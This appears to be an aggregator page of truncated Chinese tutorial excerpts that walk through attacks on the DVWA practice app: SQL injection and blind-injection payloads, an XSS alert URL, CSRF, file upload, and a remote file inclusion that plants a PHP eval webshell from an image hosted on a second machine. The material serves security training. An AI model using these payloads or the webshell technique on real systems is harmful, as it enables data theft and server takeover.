dvwa

DVWA之Union注入

霸气de小男生 提交于 2020-02-18 23:56:06
Union注入 一、首先判断是数字型还是字符型 如果是数字型: 1 and 1=1 #正常回显 1 and 1=2 #无显示或者页面报错 如果是字符型: 1' and '1'='1 #正常显示 1' and '1'='2 #无显示或者页面报错 可以看到无论是1=2还是1=1都是正常回显,说明不是数字型,是字符型。 二、使用order by查询出表的字段数量 1’ order by 2# 查询成功 1’ order by 3# 查询失败 三、两个字段数说明可以union select 1,2 ,在1或2处输入mysql查询语句,示例利用联合注入查询数据库名称、表、字段、字段数据。 1.获取数据库名,得到结果为:dvwa 1' union select 1,database() # 2.获取两个表名:guestbook,users 获取表名,用到limit,且查询语句要用括号括起来。limit 0,1意思是从第0个开始显示1个,例如limit 1,1就是显示第二个数据,以此循环类推。 1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1) # 3.获取字段名称 与获取表名类似,用limit循环得出全部字段名称,这里只展示两个

DVWA全级别之File Inclusion(文件包含)

折月煮酒 提交于 2020-02-16 22:57:46
File Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件) Low 查看服务器端核心代码; 可以看到, 服务器端对 page参数没有做任何的过滤跟检查。 服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是 php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。 点击 file1.php后,显示如下 ; 而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此 page参数是不可控的。 当我们包含一个不存在的文件ztt.php 可以看到,发生了报错,并且把网站的路径都给暴露出来了 在

DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】

拜拜、爱过 提交于 2020-02-16 22:42:53
XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。 DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。 (注:下面的实验都是在 Firefox浏览器下进行的, ) 反射型 XSS ( Reflected ) Low 查看服务器端核心代码; 可以看到,代码直接引用了 name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。 输入 <script>alert(/xss/)</script>,成功弹框: 相应的 XSS链接: http://192.168.17.111/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

SQL回显

烈酒焚心 提交于 2020-02-12 12:01:39
DVWA-SQL注入 DVWA是一个基于PHP和MySQL开发的漏洞测试平台 测试环境 应用程序: phpStudy(apache,php,mysql) 测试程序: firefox, new hacker, burpsuite,sqlmap,中国菜刀 一、 SQL注入 SQL 注入是指攻击者通过注入恶意的 SQL 命令,破坏 SQL 查询语句的结构,从而达到恶意 SQL 语句的目的。 二、 手工注入常规思路 1. 判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定回显位置 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.得到数据 三、DVWA注入分析 先将 DVWA 的级别设置为 LOW 1. 分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sq1注入 2. 判断 sql 是否存在注入,以及注入的类型。 1 ’ and ’ 1 ’ = ’ 1 3. 猜测 SQL 查询语句中的字段数, 1 ’ order by 1# 1 ’ order by 2# 1 ’ order by 3# 从上面两个图可以看出, SQL 语句查询的表字段数是 2 ,确定显示的位置( SQL 语句查询之后的回显位置) 1 ’ union select 1,2# 从下图中可以看到有两个回显 查询当前的数据库

DVWA-- 不安全得验证码Insecure CAPTCHA

你说的曾经没有我的故事 提交于 2020-02-10 23:22:09
Insecure CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。 reCAPTCHA验证流程 这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。 服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。 recaptcha_check_answer($privkey,$remoteip, $challenge,$response) 参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 : $is_valid是布尔型的,表示校验是否有效,

DVWA-文件上传 File Upload

不打扰是莪最后的温柔 提交于 2020-02-10 19:47:06
File Upload File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。 LOW: 代码: <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded

DVWA之CSRF(跨站请求伪造)

坚强是说给别人听的谎言 提交于 2020-02-10 01:05:35
CSRF(Cross-site request forgery) CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。而最常见的就是QQ空间的登陆。 low级别: 代码: <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston

dvwa模拟实验——sql盲注

柔情痞子 提交于 2020-02-09 01:11:32
sql盲注 1.sql盲注的基本内容 1.1 sql注入与盲注的区别 盲注:目标只会回复是或者不是,没有详细内容; 注入:可以查看到详细的内容 1.2 sql盲注的过程 判断是否存在注入,注入是字符型还是数字型 猜解当前数据库名–>猜数据库的长度–>猜数据库的名称 猜解数据库中的表名–>猜表的数量–>猜表的长度–>猜表的名称 猜解表中的字段名–>猜列的数量–>猜列的长度–>列的名称 1.3 sql盲注的类型 基于布尔值的盲注 基于时间的盲注 基于报错的盲注 2. DVWA模拟实验 了解一个关键函数: 2.1 low等级 1.分析源代码 从源码中可以看出并没有任何防御措施,存在sql注入漏洞,并且注入类型是字符型。 但是输出只有两句话,所以应该采用盲注的方法。 2.手动盲注过程 (1)猜测数据库名的长度 从1开始试,一直到页面返回正确。 (2)猜测数据库的名称 利用二分法,并对照ASCII码表可以得到数据库名四个字符分别是什么 1' and ascii(substr(database(),1,1))=100 # 1' and ascii(substr(database(),1,1))=118 # 1' and ascii(substr(database(),1,1))=119 # 1' and ascii(substr(database(),1,1))=97 # 得到数据库的名称

36、远程文件包含漏洞

二次信任 提交于 2020-02-08 05:45:08
环境:DVWA,low级别 1、制作一句话图片,放到一台服务器上,该服务器ip:192.168.152.128 将yc.jpg照片拖入edjpgcom软件,添加下面这句话 <?fputs(fopen("1.php","w"),'<?php eval($_POST[cmd]);?>')?> 2、访问一下该图片:http://192.168.152.128/yc.jpg 3、选择文件包含页面 4、执行远程文件包含并生成后门 http://192.168.152.188/dvwa/vulnerabilities/fi/?page=http://192.168.152.128/yc.jpg 5、在/var/www/dvwa/vulnerabilities/fi目录生成了1.php 6、菜刀链接 二、环境:DVWA,medium级别 前三步和low级别一样 我们查看一下源码,发现屏蔽了http://和https:// 4、执行远程文件包含并生成后门 http://192.168.152.188/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.152.128/yc.jpg 成功绕过 禁止非法,后果自负 欢迎关注公众号:web安全工具库 来源: CSDN 作者: web安全工具库 链接: https://blog.csdn.net